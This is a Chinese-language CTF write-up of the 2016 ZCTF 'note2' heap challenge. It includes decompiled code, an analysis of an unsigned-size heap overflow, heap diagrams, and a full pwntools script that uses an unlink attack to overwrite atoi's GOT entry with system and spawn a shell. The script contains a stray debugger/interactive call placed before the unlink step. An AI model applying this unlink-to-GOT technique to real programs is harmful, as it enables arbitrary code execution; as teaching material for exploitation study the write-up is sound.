Unlink——2016 ZCTF note2解析
摘要：
簡介
Unlink是經典的堆漏洞，2016 ZCTF note2是ctf-wiki上的unlink例子，這裡做一些簡單的解析，補充原文中沒有提到的細節，供新手學習。原文在這裡
。
題目描述
首先，我們先分析一下程式，在checksec中檢查檔案，發現是64位程式，然後...
簡介
Unlink是經典的堆漏洞，2016 ZCTF note2是ctf-wiki上的unlink例子，這裡做一些簡單的解析，補充原文中沒有提到的細節，供新手學習。原文在ofollow,noindex">這裡 。
題目描述
首先，我們先分析一下程式，在checksec中檢查檔案，發現是64位程式，然後放入IDA中，f5,，得出主程式是這樣：
void __fastcall main(__int64 a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(0x3Cu);
puts("Input your name:");
ReadStr((char *)&name, 64LL, 10);
puts("Input your address:");
ReadStr((char *)&address, 96LL, 10);
while ( 1 )
{
switch ( selectchoice() )
{
case 1:
NewNote();
break;
case 2:
ShowNote();
break;
case 3:
EditNote();
break;
case 4:
DeleteNote();
break;
case 5:
puts("Bye~");
exit(0);
return;
case 6:
exit(0);
return;
default:
continue;
}
}
}
主程式
主程式是一個while迴圈，在selectchoice中輸出一個選單，然後讀取一個輸入判斷
int selectchoice()
{
puts("1.New note\n2.Shownote\n3.Edit note\n4.Delete note\n5.Quit\noption--->>");
return inputNum();
}
selectchoice
int inputNum()
{
char nptr; // [rsp+0h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
ReadStr(&nptr, 16LL, 10);
return atoi(&nptr);
}
inputNum
下面是4個主要功能，新增 note，size 限制為 0x80，size 會被記錄，note 指標會被記錄。
int NewNote()
{
char *note; // ST08_8
unsigned int v2; // eax
unsigned int size; // [rsp+4h] [rbp-Ch]
if ( (unsigned int)NoteNum > 3 )
return puts("note lists are full");
puts("Input the length of the note content:(less than 128)");
size = inputNum();
if ( size > 128 )
return puts("Too long");
note = (char *)malloc(size);
puts("Input the note content:");
ReadStr(note, size, '\n');
RemovePercent(note);
ptr[NoteNum] = (__int64)note;
Len[NoteNum] = size;
v2 = NoteNum++;
return printf("note add success, the id is %d\n", v2);
}
NewNote
展示 note 內容。
int ShowNote()
{
__int64 v0; // rax
int v2; // [rsp+Ch] [rbp-4h]
puts("Input the id of the note:");
LODWORD(v0) = inputNum();
v2 = v0;
if ( (signed int)v0 >= 0 && (signed int)v0 <= 3 )
{
v0 = ptr[(signed int)v0];
if ( v0 )
LODWORD(v0) = printf("Content is %s\n", ptr[v2]);
}
return v0;
}
ShowNote
編輯 note 內容，其中包括覆蓋已有的 note，在已有的 note 後面新增內容。
unsigned __int64 EditNote()
{
char *v0; // rax
char *v1; // rbx
int v3; // [rsp+8h] [rbp-E8h]
int v4; // [rsp+Ch] [rbp-E4h]
char *src; // [rsp+10h] [rbp-E0h]
__int64 v6; // [rsp+18h] [rbp-D8h]
char dest; // [rsp+20h] [rbp-D0h]
char *v8; // [rsp+A0h] [rbp-50h]
unsigned __int64 v9; // [rsp+D8h] [rbp-18h]
v9 = __readfsqword(0x28u);
if ( NoteNum )
{
puts("Input the id of the note:");
v3 = inputNum();
if ( v3 >= 0 && v3 <= 3 )
{
src = (char *)ptr[v3];
v6 = Len[v3];
if ( src )
{
puts("do you want to overwrite or append?[1.overwrite/2.append]");
v4 = inputNum();
if ( v4 == 1 || v4 == 2 )
{
if ( v4 == 1 )
dest = 0;
else
strcpy(&dest, src);
v0 = (char *)malloc(0xA0uLL);
v8 = v0;
*(_QWORD *)v0 = 'oCweNehT';
*((_QWORD *)v0 + 1) = ':stnetn';
printf(v8);
ReadStr(v8 + 15, 144LL, 10);
RemovePercent(v8 + 15);
v1 = v8;
v1[v6 - strlen(&dest) + 14] = 0;
strncat(&dest, v8 + 15, 0xFFFFFFFFFFFFFFFFLL);
strcpy(src, &dest);
free(v8);
puts("Edit note success!");
}
else
{
puts("Error choice!");
}
}
else
{
puts("note has been deleted");
}
}
}
else
{
puts("Please add a note!");
}
return __readfsqword(0x28u) ^ v9;
}
EditNote
釋放 note。
int DeleteNote()
{
__int64 v0; // rax
int v2; // [rsp+Ch] [rbp-4h]
puts("Input the id of the note:");
LODWORD(v0) = inputNum();
v2 = v0;
if ( (signed int)v0 >= 0 && (signed int)v0 <= 3 )
{
v0 = ptr[(signed int)v0];
if ( v0 )
{
free((void *)ptr[v2]);
ptr[v2] = 0LL;
Len[v2] = 0LL;
LODWORD(v0) = puts("delete note success!");
}
}
return v0;
}
DeleteNote
題目解答
仔細分析後，可以發現程式有以下幾個問題
- 在新增 note 時，程式會記錄 note 對應的大小，該大小會用於控制讀取 note 的內容，但是讀取的迴圈變數 i 是無符號變數，所以比較時都會轉換為無符號變數，那麼當我們輸入 size 為 0 時，glibc 根據其規定，會分配 0x20 個位元組，但是程式讀取的內容卻並不受到限制，故而會產生堆溢位。
- 程式在每次編輯 note 時，都會申請 0xa0 大小的記憶體，但是在 free 之後並沒有設定為 NULL。
- 在上述程式中有一個全域性變數ptr，用來記錄每次分配的記憶體地址，在.bss段中，地址為0x0000000000602120。
其中這三個 chunk 申請時的大小分別為 0x80，0，0x80，chunk1 雖然申請的大小為 0，但是 glibc 的要求 chunk 塊至少可以儲存 4 個必要的欄位 (prev_size,size,fd,bk)，所以會分配 0x20 的空間。同時，由於無符號整數的比較問題，可以為該 note 輸入任意長的字串。
這裡需要注意的是，chunk0 中一共構造了兩個 chunk
- chunk ptr[0]，這個是為了 unlink 時修改對應的值。
- chunk ptr[0]'s nextchunk，這個是為了使得 unlink 時的第一個檢查滿足。
利用程式碼：
# coding=UTF-8
from pwn import *
p = process('./note2')
note2 = ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
def newnote(length, content):
p.recvuntil('option--->>')
p.sendline('1')
p.recvuntil('(less than 128)')
p.sendline(str(length))
p.recvuntil('content:')
p.sendline(content)
def shownote(id):
p.recvuntil('option--->>')
p.sendline('2')
p.recvuntil('note:')
p.sendline(str(id))
def editnote(id, choice, s):
p.recvuntil('option--->>')
p.sendline('3')
p.recvuntil('note:')
p.sendline(str(id))
p.recvuntil('2.append]')
p.sendline(str(choice))
p.sendline(s)
def deletenote(id):
p.recvuntil('option--->>')
p.sendline('4')
p.recvuntil('note:')
p.sendline(str(id))
p.recvuntil('name:')
p.sendline('hello')
p.recvuntil('address:')
p.sendline('hello')
# chunk0: a fake chunk
ptr = 0x0000000000602120
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = 'a' * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + 'b' * 64 + p64(0x60)
#content = p64(fakefd) + p64(fakebk)
newnote(128, content)
# chunk1: a zero size chunk produce overwrite
newnote(0, 'a' * 8)
# chunk2: a chunk to be overwrited and freed
newnote(0x80, 'b' * 16)
# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
#gdb.attach(p)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18
gdb.attach(p)
p.interactive()
deletenote(2)
# overwrite the chunk0(which is ptr[0]) with got atoi
atoi_got = note2.got['atoi']
content = 'a' * 0x18 + p64(atoi_got)
editnote(0, 1, content)
# get the aoti addr
shownote(0)
p.recvuntil('is ')
atoi_addr = p.recvuntil('\n', drop=True)
print atoi_addr
atoi_addr = u64(atoi_addr.ljust(8, '\x00'))
print 'leak atoi addr: ' + hex(atoi_addr)
# get system addr
atoi_offest = libc.symbols['atoi']
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols['system']
system_addr = libcbase + system_offest
print 'leak system addr: ', hex(system_addr)
# overwrite the atoi got with systemaddr
content = p64(system_addr)
editnote(0, 1, content)
# get shell
p.recvuntil('option--->>')
p.sendline('/bin/sh')
p.interactive()
利用程式碼
程式碼中首先分配了三個note，當構造完三個 note 後，堆的基本構造如圖 1 所示。
+-----------------+ high addr |...| +-----------------+ |'b'*8| ptr[2]-----------> +-----------------+ |size=0x91| +-----------------+ |prevsize| +-----------------|------------ |unused| +-----------------+ |'a'*8| ptr[1]----------> +-----------------+chunk 1 |size=0x20| +-----------------+ |prevsize| +-----------------|------------- |unused| +-----------------+ |prev_size=0x60 | fake ptr[0] chunk's nextchunk----->+-----------------+ |64*'a'| +-----------------+ |fakebk| +-----------------+ |fakefd| +-----------------+ |0x61|chunk 0 +-----------------+ |'a *8| ptr[0]----------> +-----------------+ |size=0x91| +-----------------+ |prev_size| +-----------------+low addr 圖1
釋放 chunk1 - 覆蓋 chunk2 - 釋放 chunk2
對應的程式碼如下
# edit the chunk1 to overwrite the chunk2 deletenote(1) content = 'a' * 16 + p64(0xa0) + p64(0x90) newnote(0, content) # delete note 2 to trigger the unlink # after unlink, ptr[0] = ptr - 0x18 deletenote(2)
首先釋放 chunk1，由於該 chunk 屬於 fastbin，所以下次在申請的時候仍然會申請到該 chunk，同時由於上面所說的型別問題，我們可以讀取任意字元，所以就可以覆蓋 chunk2，覆蓋之後如圖 2 所示。
+-----------------+high addr |...| +-----------------+ |'\x00'+'b'*7| ptr[2]-----------> +-----------------+ chunk 2 coverValue1|size=0x90| +-----------------+ coverValue2|0xa0| +-----------------|------------ |'a'*8| +-----------------+ |'a'*8| ptr[1]----------> +-----------------+ chunk 1 |size=0x20| +-----------------+ |prevsize| +-----------------|------------- |unused| +-----------------+ |prev_size=0x60 | fake ptr[0] chunk's nextchunk----->+-----------------+ |64*'a'| +-----------------+ |fakebk| +-----------------+ |fakefd| fake chunk--->+-----------------+ |0x61|chunk 0 +-----------------+ |'a *8| ptr[0]----------> +-----------------+ |size=0x91| +-----------------+ |prev_size| +-----------------+low addr 圖2 和圖1相比，經歷了chuck1的分配和釋放，造成了兩個值的變更，就是圖2中的coverValue1和coverValue12，coverValue1導致chunk2的前一個虛擬地址空間連續塊由以及分配變為空閒，所以在釋放chunk2的時候，會造成合並。 而合併操作進行時，會根據coverValue2來確定前一個塊的大小，coverValue2使前一個塊變為偽造的chunk，就是圖2中fake chunk處，fakefd和fakebk則是偽造的，必須保證unlink的檢測條件，fakefd = ptr - 0x18，fakebk = ptr - 0x10 圖2中的fake ptr[0] chunk's nextchunk是根據fake chunk的size來確定的，也就是0x60，第二個條件要繞過去就需要構造第二個chunk，在fake chunk位置0x60之後的位置放置一個pre_size為0x60的chunk
在unlink之後，ptr被修改為ptr-0x18，注意，ptr的值就是在檢視原始碼時發現的，存放第一個note的位置，在向note寫入3個位元組後，ptr的值又會被覆蓋一次，所以可以使用一個像note的寫入操作達到控制ptr為任意值。然後利用note的寫操作更改GOT
在選擇覆蓋函式的GOT時，選擇atoi，因為在switch語句之前會讀入一個選擇，用到atoi函式，並且程式沒有用到system函式，所以必須計算兩個函式的偏移才能得出system的libc庫位置，最後覆蓋也選用這個函式